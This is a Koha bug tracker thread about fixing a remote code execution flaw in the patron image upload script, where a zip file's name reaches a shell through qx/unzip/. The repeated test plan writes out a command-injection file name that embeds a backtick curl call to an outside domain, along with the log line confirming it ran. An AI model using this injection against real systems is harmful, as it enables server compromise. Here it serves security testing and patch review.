|
Description
Amit Gupta
2024-07-11 03:59:04 UTC
Same as bug 35291 but for tools/picture-upload.pl, or something else? Same as bug 35291 but for tools/upload-cover-image.pl, or something else? If it's the same as bug 36818 I think it should be fixed already. (In reply to Jonathan Druart from comment #3) > If it's the same as bug 36818 I think it should be fixed already. Hi Jonathan, This is different if we are uploading images in zip format. /cgi-bin/koha/tools/picture-upload.pl "qx/unzip $tempfile -d $dirname/;" Created attachment 168779 [details]
Screenshot 1
(In reply to Amit Gupta from comment #4) > (In reply to Jonathan Druart from comment #3) > > If it's the same as bug 36818 I think it should be fixed already. > > Hi Jonathan, > > This is different if we are uploading images in zip format. > > /cgi-bin/koha/tools/picture-upload.pl > > "qx/unzip $tempfile -d $dirname/;" This is exactly what is reported on bug 36818. And the fix has been done in Koha::Uploader, which is used by both scripts. I checked in the master branch but I can execute RCE. I think Koha::Uploader is not included for picture-upload.pl (In reply to Jonathan Druart from comment #2) > Same as bug 35291 but for tools/upload-cover-image.pl, or something else? Can you please include me in the bug 35291 (In reply to Amit Gupta from comment #7) > I checked in the master branch but I can execute RCE. > > I think Koha::Uploader is not included for picture-upload.pl Ha, indeed! :-/ Created attachment 168856 [details]
Bug: 36818 Escape characters in patron image picture upload
To Test
1. Create a file name for example: test.zip`curl xxxxtesting.informaticsglobal.com`.zip
where the domain is one you can watch the logs from.
2. Go to Tools and click on Upload patron images choose option zip file and upload the file.
3. Check /var/log/apache2/access.log and see the curl with the IP
"xx.xxx.xx.xxx - - [11/Jul/2024:23:10:33 +0530] "GET / HTTP/1.1" 200 267 "-" "curl/7.68.0"
4. Apply the patch
5. Repeat 2 and 3 step and check no error is coming for the Remote execution error.
6. Test uploading actual zip file and images still works.
Created attachment 168857 [details] [review] Bug 37323: Escape characters in patron image picture upload To Test 1. Create a file name for example: test.zip`curl xxxxtesting.informaticsglobal.com`.zip where the domain is one you can watch the logs from. 2. Go to Tools and click on Upload patron images choose option zip file and upload the file. 3. Check /var/log/apache2/access.log and see the curl with the IP "xx.xxx.xx.xxx - - [11/Jul/2024:23:10:33 +0530] "GET / HTTP/1.1" 200 267 "-" "curl/7.68.0" 4. Apply the patch 5. Repeat 2 and 3 step and check no error is coming for the Remote execution error. 6. Test uploading actual zip file and images still works. I haven't tested this, and I imagine it might work, but I think there's some additional changes we could make.
1. We could get the suffix using File::Basename, since we're only supporting ZIP, PNG, GIF, JPEG, and XPM formats.
That would prevent the malicious info passing through in the suffix.
2. We could use "system()" instead of "qx", since we're not capturing the output.
qx/unzip $tempfile -d $dirname/;
becomes
system("unzip",$tempfile,"-d",$dirname);
This prevents the interpretation of shell metacharacters which causes the RCE.
(Alternatively, if you had to keep the qx() for some reason, we could be single quoting the $tempfile at a minimum, and escaping single quotes passed in it.)
As an aside, it looks like the issues from bug 35291 might still apply here as well at least in terms of symlinks. If we made this script use Koha::Uploader like the others, then if we wanted to switch to a system call, we would only need to do it one place. It makes sense to me that all our uploading files should use the same module, then they would be stored consistently (In reply to Chris Cormack from comment #14) > If we made this script use Koha::Uploader like the others, then if we wanted > to switch to a system call, we would only need to do it one place. > > It makes sense to me that all our uploading files should use the same > module, then they would be stored consistently Yes please! +1 I just recalled that upload-cover-image.pl from bug 35291 is using CGI, but bug 37323 is using Plack. Something to review there I reckon... How do we want to proceed here? I am not sure how big of a change using Koha::Uploader would be here - Is someone working on it? (In reply to Katrin Fischer from comment #16) > How do we want to proceed here? I am not sure how big of a change using > Koha::Uploader would be here - Is someone working on it? I can take a look on Friday NZ time, however I would be happy if someone beat me to it also Actually its a big amount of work to change this to work in the ajax way with file-upload.pl and Koha::Uploader like the coverimages do. So I am going to sign this patch off which stops the RCE and add the extra fixes for symlinks. That will close it as a security bug, then there can be a new bug to refactor as it is will need more time and it would be good to close this RCE ASAP Created attachment 169170 [details] [review] Bug 37323: Escape characters in patron image picture upload To Test 1. Create a file name for example: test.zip`curl xxxxtesting.informaticsglobal.com`.zip where the domain is one you can watch the logs from. 2. Go to Tools and click on Upload patron images choose option zip file and upload the file. 3. Check /var/log/apache2/access.log and see the curl with the IP "xx.xxx.xx.xxx - - [11/Jul/2024:23:10:33 +0530] "GET / HTTP/1.1" 200 267 "-" "curl/7.68.0" 4. Apply the patch 5. Repeat 2 and 3 step and check no error is coming for the Remote execution error. 6. Test uploading actual zip file and images still works. Signed-off-by: Chris Cormack <chris@bigballofwax.co.nz> Created attachment 169171 [details] [review] Bug 37323: Don't allow symlinks in link files in zip and validate filepaths Test plan: 0. Apply patch and restart/reload Koha 1. Test that uploading a patron image still works, in single file format and as a zip Created attachment 169175 [details] Bug 37323: Don't allow symlinks in link files in zip and validate filepaths Test plan: 0. Apply patch and restart/reload Koha 1. Test that uploading a patron image still works, in single file format and as a zip Work as suggested Created attachment 169176 [details] [review] Bug 37323: Don't allow symlinks in link files in zip and validate filepaths Test plan: 0. Apply patch and restart/reload Koha 1. Test that uploading a patron image still works, in single file format and as a zip Work as suggested Reminder for testing that the system preference patronimages must be enabled: /cgi-bin/koha/admin/preferences.pl?op=search&searchfield=patronimages Created attachment 169637 [details] [review] Bug 37323: Escape characters in patron image picture upload To Test 1. Create a file name for example: test.zip`curl xxxxtesting.informaticsglobal.com`.zip where the domain is one you can watch the logs from. 2. Go to Tools and click on Upload patron images choose option zip file and upload the file. 3. Check /var/log/apache2/access.log and see the curl with the IP "xx.xxx.xx.xxx - - [11/Jul/2024:23:10:33 +0530] "GET / HTTP/1.1" 200 267 "-" "curl/7.68.0" 4. Apply the patch 5. Repeat 2 and 3 step and check no error is coming for the Remote execution error. 6. Test uploading actual zip file and images still works. Signed-off-by: Chris Cormack <chris@bigballofwax.co.nz> Signed-off-by: David Cook <dcook@prosentient.com.au> Created attachment 169638 [details] [review] Bug 37323: Don't allow symlinks in link files in zip and validate filepaths Test plan: 0. Apply patch and restart/reload Koha 1. Test that uploading a patron image still works, in single file format and as a zip Work as suggested Signed-off-by: Amit Gupta <amit.gupta@informaticsglobal.com> Signed-off-by: David Cook <dcook@prosentient.com.au> Created attachment 169639 [details] [review] Bug 37323: Tidy Signed-off-by: David Cook <dcook@prosentient.com.au> Actually, I need to double-check that filepath validation. I thought I noticed an issue earlier, but convinced myself I was wrong without really double-checking... (In reply to David Cook from comment #30) > Actually, I need to double-check that filepath validation. I thought I > noticed an issue earlier, but convinced myself I was wrong without really > double-checking... I think my brain is just overheating. This should be fine... Created attachment 169719 [details] [review] Bug 37323: Escape characters in patron image picture upload To Test 1. Create a file name for example: test.zip`curl xxxxtesting.informaticsglobal.com`.zip where the domain is one you can watch the logs from. 2. Go to Tools and click on Upload patron images choose option zip file and upload the file. 3. Check /var/log/apache2/access.log and see the curl with the IP "xx.xxx.xx.xxx - - [11/Jul/2024:23:10:33 +0530] "GET / HTTP/1.1" 200 267 "-" "curl/7.68.0" 4. Apply the patch 5. Repeat 2 and 3 step and check no error is coming for the Remote execution error. 6. Test uploading actual zip file and images still works. Signed-off-by: Chris Cormack <chris@bigballofwax.co.nz> Signed-off-by: David Cook <dcook@prosentient.com.au> Signed-off-by: Nick Clemens <nick@bywatersolutions.com> Created attachment 169720 [details] [review] Bug 37323: Don't allow symlinks in link files in zip and validate filepaths Test plan: 0. Apply patch and restart/reload Koha 1. Test that uploading a patron image still works, in single file format and as a zip Work as suggested Signed-off-by: Amit Gupta <amit.gupta@informaticsglobal.com> Signed-off-by: David Cook <dcook@prosentient.com.au> Signed-off-by: Nick Clemens <nick@bywatersolutions.com> Created attachment 169721 [details] [review] Bug 37323: Tidy Signed-off-by: David Cook <dcook@prosentient.com.au> Signed-off-by: Nick Clemens <nick@bywatersolutions.com> Pushed to main for 24.11. Nice work everyone, thanks! I've filed this as a follow-up bug: Bug 37712 - Switch picture-upload.pl to use Koha::Uploader Not backporting to 23.05.x unless requested (In reply to wainuiwitikapark from comment #37) > Not backporting to 23.05.x unless requested Hi Wainui, this was part of the security release Tomas and I did and should already be in 23.05 now. (In reply to Katrin Fischer from comment #38) > (In reply to wainuiwitikapark from comment #37) > > Not backporting to 23.05.x unless requested > > Hi Wainui, this was part of the security release Tomas and I did and should > already be in 23.05 now. Oh sorry! My mistake, thanks!! |